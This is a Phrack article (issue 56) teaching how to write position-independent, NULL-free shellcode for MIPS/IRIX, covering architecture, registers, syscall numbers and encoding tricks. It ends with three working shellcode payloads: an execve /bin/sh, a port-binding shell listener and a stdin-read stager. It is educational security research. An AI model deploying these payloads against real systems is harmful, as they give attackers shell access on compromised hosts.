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Current issue : #56 | Release date : 2000-01-05 | Editor : route
IntroductionPhrack Staff
Phrack LoopbackPhrack Staff
Phrack Line Noisevarious
Phrack ProphilePhrack Staff
Bypassing StackGuard and StackShieldKil3r & Bulba
Project Area52Irib & Simple Nomad & Jitsu-Disk
Shared Library Redirection via ELF PLT InfectionSilvio
Smashing C++ VPTRsrix
Backdooring binary objectsklog
Things To Do in Cisco Land When You're Deadgaius
A Strict Anomaly Detection Model for IDSbeetle & sasha
Distributed Toolslifeline & sasha
Introduction to PAMBryan Ericson
Exploiting Non-adjacent Memory Spacestwitch
Writing MIPS/Irix shellcodescut
Phrack Magazine Extraction UtilityPhrack Staff
Title : Phrack Magazine Extraction Utility
Author : Phrack Staff
                      - P H R A C K   M A G A Z I N E -

                            Volume 0xa Issue 0x38
                                  05.01.2000
                                  0x0f[0x10]

|------------------------ WRITING MIPS/IRIX SHELLCODE ------------------------|
|-----------------------------------------------------------------------------|
|--------------------------------- scut/teso ---------------------------------|


----|  Intro

Writing shellcode for the MIPS/Irix platform is not much different from writing
shellcode for the x86 architecture.  There are, however, a few tricks worth
knowing when attempting to write clean shellcode (which does not have any NULL
bytes and works completely independent from it's position).

This small paper will provide you with a crash course on writing IRIX
shellcode for use in exploits.  It covers the basic stuff you need to know to
start writing basic IRIX shellcode.  It is divided into the following sections:

    - The IRIX operating system
    - MIPS architecture
    - MIPS instructions
    - MIPS registers
    - The MIPS assembly language
    - High level language function representation
    - Syscalls and Exceptions
    - IRIX syscalls
    - Common constructs
    - Tuning the shellcode
    - Example shellcode
    - References


----|  The IRIX operating system

The Irix operating system was developed independently by Silicon Graphics and
is UNIX System V.4 compliant. It has been designed for the MIPS CPU's, which
have a unique history and have pioneered 64-bit and RISC technology.  The
current Irix version is 6.5.7.  There are two major versions, called feature
(6.5.7f) and maintenance (6.5.7m) release, from which the feature release is
focused on new features and technologies and the maintenance release on bug
fixes and stability.  All modern Irix platforms are binary compatible and this
shellcode discussion and the example shellcodes have been tested on over half a
dozen different Irix computer systems.


----|  MIPS architecture

First of all you have to have some basic knowledge about the MIPS CPU
architecture.  There are a lot of different types of the MIPS CPU, the most
common are the R4x00 and R10000 series (which share the same instruction set).

A MIPS CPU is a typical RISC-based CPU, meaning it has a reduced instruction
set with less instructions then a CISC CPU, such as the x86.  The core concept
of a RISC CPU is a tradeoff between simplicity and concurrency:  There are
less instructions, but the existing ones can be executed quickly and in
parallel.  Because of this small number of instructions there is less
redundancy per instruction, and some things can only be done using a single
instruction, while on a CISC CPU this can only be achieved by using a variety
of different instructions, each one doing basically the same thing.  As a
result of this, MIPS machine code is larger then CISC machine code, since
often multiple instructions are required to accomplish the same operation that
CISC CPU's are able to do with one single instruction.

Multiple instructions do not, however, result in slower code.  This is a
matter of overall execution speed, which is extremely high because of the
parallel execution of the instructions.

On a MIPS CPU the concurrency is very advanced, and the CPU has a pipeline with
five slots, which means five instructions are processed at the same time and
every instruction has five stages, from the initial IF pipestage (instruction
fetch) to the last, the WB pipestage (write back).

Because the instructions overlap within the pipeline, there are some
"anomalies" that have to be considered when writing MIPS machine code:

    - there is a branch delay slot: the instruction following the branch
      instruction is still in the pipeline and is executed after the jump has
      taken place
    - the return address for subroutines ($ra) and syscalls (C0_EPC) points
      not to the instruction after the branch/jump/syscall instruction but to
      the instruction after the branch delay slot instruction
    - since every instruction is divided into five pipestages the MIPS design
      has reflected this on the instructions itself: every instruction is
      32 bits broad (4 bytes), and can be divided most of the times into
      segments which correspond with each pipestage


----|  MIPS instructions

MIPS instructions are not just 32 bit long each, they often share a similar
mapping too.  An instruction can be divided into the following sections:

      + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
       31302928272625242322212019181716151413121110 9 8 7 6 5 4 3 2 1 0
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
      | op        | sub-op  |xxxxxxxxxxxxxxxxxxxxxxxxxxxxx| subcode   |
      +-----------+---------+-----------------------------+-----------+

The "op" field denotes the six bit primary opcode.  Some instructions, such
as long jumps (see below) have a unique code here, the rest are grouped by
function.  The "sub-op" section, which is five bytes long can represent either
a specific sub opcode as extension to the primary opcode or can be a register
block.  A register block is always five bits long and selects one of the CPU
registers for an operation. The subcode is the opcode for the arithmetic and
logical instructions, which have a primary opcode of zero.

The logical and arithmetic instructions share a RISC-unique attribute: They
do not work with two registers, such as common x86 instructions, but they use
three registers, named "destination", "target" and "source".  This allows more
flexible code, if you still want CISC-like instructions, such as
"add %eax, %ecx", just use the same destination and target register for the
operation.

A typical MIPS instruction looks like:

    or   a0, a1, t4

which is easy to represent in C as "a0 = a1 | t4".  The order is almost always
equivalent to a simple C expression.

Some simple instructions are listed below.

- dest, source, target, and register are registers (see section on MIPS
  registers below).
- value is a 16 bit value, either signed or not, depending on the instruction.
- offset is a 16 bit relative offset. loffset is a 26 bit offset, which is
  shifted so that it lies on a four byte boundary.

  or      dest, source, target     logical or: dest = source | target
  nor     dest, source, target     logical not or: d = ~ (source | target)
  add     dest, source, target     add: dest = source + target
  addu    dest, source, value      add immediate signed: dest = source + value
  and     dest, source, target     logical and: dest = source & target
  beq     source, target, offset   if (source == target) goto offset
  bgez    source, offset           if (source >= 0) goto offset
  bgezal  source, offset           if (source >= 0) offset ()
  bgtz    source, offset           if (source > 0) goto offset
  bltz    source, offset           if (source < 0) goto offset
  bltzal  source, offset           if (source < 0) offset ()
  bne     source, target, offset   if (source != target) goto offset
  j       loffset                  goto loffset (within 2^28 byte range)
  jr      register                 jump to address in register
  jal     loffset                  loffset (), store retaddr in $ra
  li      dest, value              load imm.: expanded to either ori or addiu
  lw      dest, offset             dest = *((int *) (offset))
  slt     dest, source, target     signed: dest = (source < target) ? 1 : 0
  slti    dest, source, value      signed: dest = (source < value) ? 1 : 0
  sltiu   dest, source, value      unsigned: dest = (source < value) ? 1 : 0
  sub     dest, source, target     dest = source - target
  sw      source, offset           *((int *) offset) = source
  syscall                          raise syscall exception
  xor     dest, source, target     dest = source ^ target
  xori    dest, source, value      dest = source ^ value

This is obviously not complete.  However, it does cover the most important
instructions for writing shellcode.  Most of the instructions in the example
shellcodes can be found here.  For the complete list of instructions see
either [1] or [2].


----|  MIPS registers

The MIPS CPU has plenty of registers. Since we already know registers are
addressed using a five bit block, there must be 32 registers, $0 to $31. They
are all alike except for $0 and $31.  For $0 the case is very simple: No
matter what you do to the register, it always contains zero.  This is
practical for a lot of arithmetic instructions and can results in elegant code
design.  The $0 register has been assigned the symbolic name $zero.  The $31
register is also called $ra, for "return address".  Why should a register ever
contain a return address if there is such a nice stack to store it?  And how
should recursion be handled otherwise? Well, the short answer is, there is no
real stack and yes it works.  For the longer answer we will shortly discuss
what happens when a function is called on a RISC CPU.  When this is done a
special instruction called "jal" is used.  This instruction overwrites the
content of the $ra ($31) register with the appropriate return address and then
jumps to an arbitrary address.  The called function does however see the
return address in $ra and once finished just jumps back (using the "jr"
instruction) to the return address.  But what if the function wants to call
functions, too? Then there is a stack-like segment the function can store the
return address on, later restore it and then continue to work as usual.

Why "stack-like"?  Because there is only a stack by convention, and any
register may be used to behave like a stack.  There are no push or pop
instructions however, and the register has to be adjusted manually.  The
"stack" register is $29, symbolically referred as $sp.  The stack grows to the
smaller addresses, just like on the x86 architecture.

There other register conventions, nearly as many as there are registers.  For
the sake of completeness here is a small listing:

  number  symbolic  function
 -------  --------- -----------------------------------------------------------
      $0  $zero     always contains zero
      $1  $at       is used by assembler (see below), do not use it
   $2-$3  $v0, $v1  subroutine return values
   $4-$7  $a0-$a3   subroutine arguments
  $8-$15  $t0-$t7   temporary registers, may be overwritten by subroutine
 $16-$23  $s0-$s7   subroutine registers, have to be saved by called function
                    before they may be used
 $24,$25  $t8, $t9  temporary registers, may be overwritten by subroutine
 $26,$27  $k0, $k1  interrupt/trap handler reserved registers, do not use
     $28  $gp       global pointer, used to access static and extern variables
     $29  $sp       stack pointer
     $30  $s8/$fp   subroutine register, commonly used as a frame pointer
     $31  $ra       return address

There are also 32 floating point registers, each 32 bits long (64 bits on
newer MIPS CPUs). They are not important for system programming, so we will not
discuss them here.


----|  The MIPS assembly language

Because the instructions are relatively primitive and programmers often want
to accomplish more complex things, the MIPS assembly language works with a lot
of macro instructions.  They sometimes provide really necessary operations,
such as subtracting a number from a register (which is converted to a signed
add by the assembler) to complex macros, such as finding the remainder for a
division.  But the assembler does a lot more than providing macros for common
operations.  We already mentioned the pipeline in which instructions are
processed simultaneously.  Often the execution directly depends on the order
within the pipeline, because the registers accessed with the instructions are
written back in the last pipestage, the WB (write-back) stage and cannot be
accessed before by other instructions.  For old MIPS CPUs the MIPS
abbreviation is true when saying "Microcomputer without Interlocked Pipeline
Stages", you just cannot access the register in the instruction directly
following the one that modifies this register.  Nearly all MIPS CPUs
currently in service do have an interlock though, they just wait until the
data from the instruction is written back to the register before allowing the
following instruction to read it.  In practice you only have to worry when
writing very low level assembly code, such as shellcode :-), because most of
the times the assembler will reorder and replace your instructions so that
they exploit the pipelined architecture at best.  You can turnoff this
reordering and macros in any MIPS assembler, if you want to.

The MIPS CPUs and RISC CPUs altogether were not designed with easy assembly
language programming in mind.  It is more difficult, however, to program a
RISC CPU in assembly than any CISC CPU.  Even the first sentences of the MIPS
Pro Assembler Manual from the MIPS corporation recommend to use MIPS assembly
language only for hardware near routines or operating system programming.  In
most cases a good C compiler, such as the one MIPS developed will optimize the
pipeline and register usage way better then any programmer might do in
assembly.  However, when writing shellcodes we have to face the bare machine
code and have to write size-optimized code, which does not contain any NULL
bytes.  A compiler might use large code to unroll loops or to use faster
constructs, we can not.


----|  High level language function representation

Most of the time, a normal C function can be represented very easily in MIPS
assembly.  You just have to differentiate between leaf and non-leaf functions.
A non-leaf function is a function that does not call any other function.  Such
functions do not need to store the return address on the stack, but keep it in
$ra for the whole time.  The arguments to a function are stored by the calling
function in $a0, $a1, $a2 and $a3.  If this space is not sufficient enough
extra stack space is used, but in most cases the registers suffice.  The
function may return two 32bit values through the $v0 and $v1 registers.  For
temporary space the called function may use the stack referred to by $sp.  Also
registers are commonly saved on the stack and later restored from it.  The
temporary registers ($t0-$t9) may be overwritten in the called function
without restoring them later, if the calling functions wants to preserve them,
it has to save them itself.

The stack usually starts at 0x80000000 and grows towards small addresses.  As
was already said, it is very similar to the stack of an x86 system.  


----|  Syscalls and Exceptions

On a typical Unix system there are only two modes that current execution can
happen in: user mode and kernel mode.  In most modern architectures this
modes are directly supported by the CPU.  The MIPS CPU has these two modes plus
an extra mode called "supervisor mode".  It was requested by engineers at DEC
for their new range of workstations when the MIPS R4000 CPU was designed.
Since the VMS/DEC market was important to MIPS, they implemented this third
mode at DEC's request to allow the VMS operating system to be run on the CPU.
However, DEC decided later to develop their own CPU, the Alpha CPU and the
mode remained unused.

Back to the execution modes...  on current operating systems designed for the
MIPS CPU only kernel mode and user mode are used.  To switch from user mode to
the kernel mode there is a mechanism called "exceptions".  Whenever a user space process wants to let the kernel to do something or whenever the
current execution can't be successfully continued the control is passed to the
kernel space exception handler.

For shellcode construction we have to know that we can make the kernel execute
important operating system related stuff like I/O operations through the
syscall exception, which is triggered through the "syscall" instruction.  The
syscall instruction looks like:

  syscall    0000.00xx xxxx.xxxx xxxx.xxxx xx00.1100

Where the x's represent the 20 bit broad syscall code, which is ignored on the
Irix system.  To avoid NULL bytes in your shellcode you can set those x-bits to
arbitrary data.


----|  IRIX syscalls

The following list covers the most important syscalls for use in shellcodes.
After all registers have been appropriately set the "syscall" instruction is
executed and the execution flow is passed to the kernel.

    accept
    ------
    int accept (int s, struct sockaddr *addr, socklen_t *addrlen);

    a0 = (int) s
    a1 = (struct sockaddr *) addr
    a2 = (socklen_t *) addrlen
    v0 = SYS_accept = 1089 = 0x0441

    return values
 
    a3 = 0 success, a3 != 0 on failure
    v0 = new socket


    bind
    ----
    int bind (int sockfd, struct sockaddr *my_addr, socklen_t addrlen);

    a0 = (int) sockfd
    a1 = (struct sockaddr *) my_addr
    a2 = (socklen_t) addrlen
    v0 = SYS_bind = 1090 = 0x0442

    For the IN protocol family (TCP/IP) the sockaddr pointer points to a
    sockaddr_in struct which is 16 bytes long and typically looks like:
    "\x00\x02\xaa\xbb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
    where aa is ((port >> 8) & 0xff) and bb is (port & 0xff).

    return values

    a3 = 0 success, a3 != 0 on failure
    v0 = 0 success, v0 != 0 on failure


    close
    -----
    int close (int fd);

    a0 = (int) fd
    v0 = SYS_close = 1006 = 0x03ee

    return values

    a3 = 0 success, a3 != 0 on failure
    v0 = 0 success, v0 != 0 on failure

    execve
    ------
    int execve (const char *filename, char *const argv [], char *const envp[]);

    a0 = (const char *) filename
    a1 = (chat * const) argv[]
    a2 = (char * const) envp[]
    v0 = SYS_execve = 1059 = 0x0423

    return values

    should not return but replace current process with program, it only returns
    in case of errors


    fcntl
    -----
    int fcntl (int fd, int cmd);
    int fcntl (int fd, int cmd, long arg);

    a0 = (int) fd
    a1 = (int) cmd
    a2 = (long) arg   in case the command requires an argument
    v0 = SYS_fcntl = 1062 = 0x0426

    return values

    a3 = 0 on success, a3 != 0 on failure
    v0 is the real return value and depends on the operation, see fcntl(2) for
    further information


    fork
    ----
    int fork (void);

    v0 = SYS_fork = 1002 = 0x03ea

    return values

    a3 = 0 on success, a3 != 0 on failure
    v0 = 0 in child process, PID of child process in parent process


    listen
    ------
    int listen (int s, int backlog);

    a0 = (int) s
    a1 = (int) backlog
    v0 = SYS_listen = 1096 = 0x0448

    return values

    a3 = 0 on success, a3 != 0 on failure


    read
    ----
    ssize_t read (int fd, void *buf, size_t count);
 
    a0 = (int) fd
    a1 = (void *) buf
    a2 = (size_t) count
    v0 = SYS_read = 1003 = 0x03eb

    return values

    a3 = 0 on success, a3 != 0 on failure
    v0 = number of bytes read


    socket
    ------
    int socket (int domain, int type, int protocol);

    a0 = (int) domain
    a1 = (int) type
    a2 = (int) protocol
    v0 = SYS_socket = 1107 = 0x0453

    return values

    a3 = 0 on success, a3 != 0 on failure
    v0 = new socket


    write
    -----
    int write (int fileno, void *buffer, int length);

    a0 = (int) fileno
    a1 = (void *) buffer
    a2 = (int) length
    v0 = SYS_write = 1004 = 0x03ec

    return values

    a3 = 0 on success, a3 != 0 on failure
    v0 = number of bytes written


    The dup2 functionality is not implemented as system call but as libc
    wrapper for close and fcntl.  Basically the dup2 function looks like
    (simplified):

    int dup2 (int des1, int des2)
    {
        int tmp_errno, maxopen;

        maxopen = (int) ulimit (4, 0);
        if (maxopen < 0)
        {
            maxopen = OPEN_MAX;
        }
        if (fcntl (des1, F_GETFL, 0) == -1)
        {
            _setoserror (EBADF);
            return -1;
        }

        if (des2 >= maxopen || des2 < 0)
        {
            _setoserror (EBADF);
            return -1;
        }

        if (des1 == des2)
        {
            return des2;
        }
	tmp_errno = _oserror();
        close (des2);
        _setoserror (tmp_errno);

        return (fcntl (des1, F_DUPFD, des2));
    }

    So without the validation dup2 (des1, des2) can be rewritten as:

	close (des2);
	fcntl (des1, F_DUPFD, des2);

Which has been done in the portshell shellcode below.


----|  Common constructs

When writing shellcode there are always common operations, like getting the
current address.  Here are a few techniques that you can use in your
shellcode:

- Getting the current address

        li      t8, -0x7350     /* load t8 with -0x7350 (leet) */
foo:	bltzal  t8, foo         /* branch with $ra stored if t8 < 0 */
        slti    t8, zero, -1    /* t8 = 0 (see below) */
bar:

Because the slti instruction is in the branch delay slot when the bltzal is
executed the next time the bltzal will not branch and t8 will remain zero.  $ra
holds the address of the bar label when the same label is reached.

- Loading small integer values

Because every instruction is 32 bits long you cannot immediately load a 32 bit
value into a register but you have to use two instructions.  Most of the time,
however, you just want to load small values, below 256.  Values below 2^16 are
stored as a 16 bit value within the instruction and values below 256 will
result in ugly NULL bytes, that should be avoided in proper shellcode.
Therefore we use a trick to load such small values:

loading zero into reg (reg = 0):
        slti    reg, zero, -1

loading one into reg (reg = 1):
        slti    reg, zero, 0x0101

loading small integer values into reg (reg = value):
        li      t8, -valmod     /* valmod = value + 1 */
        not     reg, t8

For example if we want to load 4 into reg we would use:
        li      t8, -5
        not     reg, t8

In case you need small values more than one time you can also store them into
saved registers ($s0 - $s7, optionally $s8).

- Moving registers

In normal MIPS assembly you would use the simple move instruction, which
results in an "or" instruction, but in shellcode you have to avoid NUL bytes,
and you can use this construction, if you know that the value in the register
is below 0xffff (65535):
	andi	reg, source, 0xffff


----|  Tuning the shellcode

I recommend that you write your shellcodes in normal MIPS assembly and
afterwards start removing the NULL bytes from top to bottom.  For simple load
instructions you can use the constructs above.  For essential instructions try
to play with the different registers, in some cases NULL bytes may be removed
from arithmetic and logic instructions by using higher registers, such as $t8
or $s7.  Next try replacing the single instruction with two or three
accomplishing the same.  Make use of the return values of syscalls or known
register contents.  Be creative, use a MIPS instruction reference from [1] or
[2] and your brain and you will always find a good replacement.

Once you made your shellcode NULL free you will notice the size has increased
and your shellcode is quite bloated.  Do not worry, this is normal, there is
almost nothing you can do about it, RISC code is nearly always larger then the
same code on x86.  But you can do some small optimizations to decrease it's
size.  At first try to find replacements for instruction blocks, where more
then one instruction is used to do one thing.  Always take a look at the
current register content and make use of return values or previously loaded
values.  Sometimes reordering helps you to avoid jumps.


----|  Example shellcode

All the shellcodes have been tested on the following systems, (thanks to vax,
oxigen, zap and hendy):

R4000/6.2, R4000/6.5, R4400/5.3, R4400/6.2, R4600/5.3, R5000/6.5 and
R10000/6.4.

<++> p56/MIPS-shellcode/sh_execve.h !4959db03
/* 68 byte MIPS/Irix PIC execve shellcode. -scut/teso
 */
unsigned long int shellcode[] = {
		0xafa0fffc,	/* sw		$zero, -4($sp)		*/
		0x24067350,	/* li		$a2, 0x7350		*/
/* dpatch: */	0x04d0ffff,	/* bltzal	$a2, dpatch		*/
		0x8fa6fffc,	/* lw		$a2, -4($sp)		*/
		/* a2 = (char **) envp = NULL */

		0x240fffcb,	/* li		$t7, -53		*/
		0x01e07827,	/* nor		$t7, $t7, $zero		*/
		0x03eff821,	/* addu		$ra, $ra, $t7		*/

		/* a0 = (char *) pathname */
		0x23e4fff8,	/* addi		$a0, $ra, -8		*/

		/* fix 0x42 dummy byte in pathname to shell */
		0x8fedfffc,	/* lw		$t5, -4($ra)		*/
		0x25adffbe,	/* addiu	$t5, $t5, -66		*/
		0xafedfffc,	/* sw		$t5, -4($ra)		*/

		/* a1 = (char **) argv */
		0xafa4fff8,	/* sw		$a0, -8($sp)		*/
		0x27a5fff8,	/* addiu	$a1, $sp, -8		*/

		0x24020423,	/* li		$v0, 1059 (SYS_execve)	*/
		0x0101010c,	/* syscall				*/
		0x2f62696e,	/* .ascii	"/bin"			*/
		0x2f736842,	/* .ascii	"/sh", .byte 0xdummy	*/
};
<-->
<++> p56/MIPS-shellcode/shc_portshell-listener.h !db48e22a
/* 364 byte MIPS/Irix PIC listening portshell shellcode. -scut/teso
 */
unsigned long int shellcode[] = {
		0x2416fffd,	/* li		$s6, -3			*/
		0x02c07027,	/* nor		$t6, $s6, $zero		*/
		0x01ce2025,	/* or		$a0, $t6, $t6		*/
		0x01ce2825,	/* or		$a1, $t6, $t6		*/
		0x240efff9,	/* li		$t6, -7			*/
		0x01c03027,	/* nor		$a2, $t6, $zero		*/
		0x24020453,	/* li		$v0, 1107 (socket)	*/
		0x0101010c,	/* syscall				*/
		0x240f7350,	/* li		$t7, 0x7350 (nop)	*/

		0x3050ffff,	/* andi		$s0, $v0, 0xffff	*/
		0x280d0101,	/* slti		$t5, $zero, 0x0101	*/
		0x240effee,	/* li		$t6, -18		*/
		0x01c07027,	/* nor		$t6, $t6, $zero		*/
		0x01cd6804,	/* sllv		$t5, $t5, $t6		*/
		0x240e7350,	/* li		$t6, 0x7350 (port)	*/
		0x01ae6825,	/* or		$t5, $t5, $t6		*/
		0xafadfff0,	/* sw		$t5, -16($sp)		*/
		0xafa0fff4,	/* sw		$zero, -12($sp)		*/
		0xafa0fff8,	/* sw		$zero, -8($sp)		*/
		0xafa0fffc,	/* sw		$zero, -4($sp)		*/
		0x02102025,	/* or		$a0, $s0, $s0		*/
		0x240effef,	/* li		$t6, -17		*/
		0x01c03027,	/* nor		$a2, $t6, $zero		*/
		0x03a62823,	/* subu		$a1, $sp, $a2		*/
		0x24020442,	/* li		$v0, 1090 (bind)	*/
		0x0101010c,	/* syscall				*/
		0x240f7350,	/* li		$t7, 0x7350 (nop)	*/

		0x02102025,	/* or		$a0, $s0, $s0		*/
		0x24050101,	/* li		$a1, 0x0101		*/
		0x24020448,	/* li		$v0, 1096 (listen)	*/
		0x0101010c,	/* syscall				*/
		0x240f7350,	/* li		$t7, 0x7350 (nop)	*/

		0x02102025,	/* or		$a0, $s0, $s0		*/
		0x27a5fff0,	/* addiu	$a1, $sp, -16		*/
		0x240dffef,	/* li		$t5, -17		*/
		0x01a06827,	/* nor		$t5, $t5, $zero		*/
		0xafadffec,	/* sw		$t5, -20($sp)		*/
		0x27a6ffec,	/* addiu	$a2, $sp, -20		*/
		0x24020441,	/* li		$v0, 1089 (accept)	*/
		0x0101010c,	/* syscall				*/
		0x240f7350,	/* li		$t7, 0x7350 (nop)	*/
		0x3057ffff,	/* andi		$s7, $v0, 0xffff	*/

		0x2804ffff,	/* slti		$a0, $zero, -1		*/
		0x240203ee,	/* li		$v0, 1006 (close)	*/
		0x0101010c,	/* syscall				*/
		0x240f7350,	/* li		$t7, 0x7350 (nop)	*/

		0x02f72025,	/* or		$a0, $s7, $s7		*/
		0x2805ffff,	/* slti		$a1, $zero, -1		*/
		0x2806ffff,	/* slti		$a2, $zero, -1		*/
		0x24020426,	/* li		$v0, 1062 (fcntl)	*/
		0x0101010c,	/* syscall				*/
		0x240f7350,	/* li		$t7, 0x7350 (nop)	*/

		0x28040101,	/* slti		$a0, $zero, 0x0101	*/
		0x240203ee,	/* li		$v0, 1006 (close)	*/
		0x0101010c,	/* syscall				*/
		0x240f7350,	/* li		$t7, 0x7350 (nop)	*/

		0x02f72025,	/* or		$a0, $s7, $s7		*/
		0x2805ffff,	/* slti		$a1, $zero, -1		*/
		0x28060101,	/* slti		$a2, $zero, 0x0101	*/
		0x24020426,	/* li		$v0, 1062 (fcntl)	*/
		0x0101010c,	/* syscall				*/
		0x240f7350,	/* li		$t7, 0x7350		*/

		0x02c02027,	/* nor		$a0, $s6, $zero		*/
		0x240203ee,	/* li		$v0, 1006 (close)	*/
		0x0101010c,	/* syscall				*/
		0x240f7350,	/* li		$t7, 0x7350 (nop)	*/

		0x02f72025,	/* or		$a0, $s7, $s7		*/
		0x2805ffff,	/* slti		$a1, $zero, -1		*/
		0x02c03027,	/* nor		$a2, $s6, $zero		*/
		0x24020426,	/* li		$v0, 1062 (fcntl)	*/
		0x0101010c,	/* syscall				*/
		0x240f7350,	/* li		$t7, 0x7350 (nop)	*/

		0xafa0fffc,	/* sw		$zero, -4($sp)		*/
		0x24068cb0,	/* li		$a2, -29520		*/
		0x04d0ffff,	/* bltzal	$a2, pc-4		*/
		0x8fa6fffc,	/* lw		$a2, -4($sp)		*/
		0x240fffc7,	/* li		$t7, -57		*/
		0x01e07827,	/* nor		$t7, $t7, $zero		*/
		0x03eff821,	/* addu		$ra, $ra, $t7		*/
		0x23e4fff8,	/* addi		$a0, $ra, -8		*/
		0x8fedfffc,	/* lw		$t5, -4($ra)		*/
		0x25adffbe,	/* addiu	$t5, $t5, -66		*/
		0xafedfffc,	/* sw		$t5, -4($ra)		*/
		0xafa4fff8,	/* sw		$a0, -8($sp)		*/
		0x27a5fff8,	/* addiu	$a1, $sp, -8		*/
		0x24020423,	/* li		$v0, 1059 (execve)	*/
		0x0101010c,	/* syscall				*/
		0x240f7350,	/* li		$t7, 0x7350 (nop)	*/
		0x2f62696e,	/* .ascii	"/bin"			*/
		0x2f736842,	/* .ascii	"/sh", .byte 0xdummy	*/
};
<-->
<++> p56/MIPS-shellcode/shc_read.h !1996c2bb
/* 40 byte MIPS/Irix PIC stdin-read shellcode. -scut/teso
 */
unsigned long int shellcode[] = {
		0x24048cb0,	/* li		$a0, -0x7350		*/
/* dpatch: */	0x0490ffff,	/* bltzal	$a0, dpatch		*/
		0x2804ffff,	/* slti		$a0, $zero, -1		*/
		0x240fffe3,	/* li		$t7, -29		*/
		0x01e07827,	/* nor		$t7, $t7, $zero		*/
		0x03ef2821,	/* addu		$a1, $ra, $t7		*/
		0x24060201,	/* li		$a2, 0x0201 (513 bytes)	*/
		0x240203eb,	/* li		$v0, SYS_read		*/
		0x0101010c,	/* syscall				*/
		0x24187350,	/* li		$t8, 0x7350 (nop)	*/
};
<-->


----|  References

For further information you may want to consult this excellent references:

 [1] See MIPS Run
     Dominic Sweetman, Morgan Kaufmann Publishers
     ISBN 1-55860-410-3

 [2] MIPSPro Assembly Language Programmer's Guide - Volume 1/2
     Document Number 007-2418-001
     http://www.mips.com/ and http://www.sgi.com/

|EOF|-------------------------------------------------------------------------|

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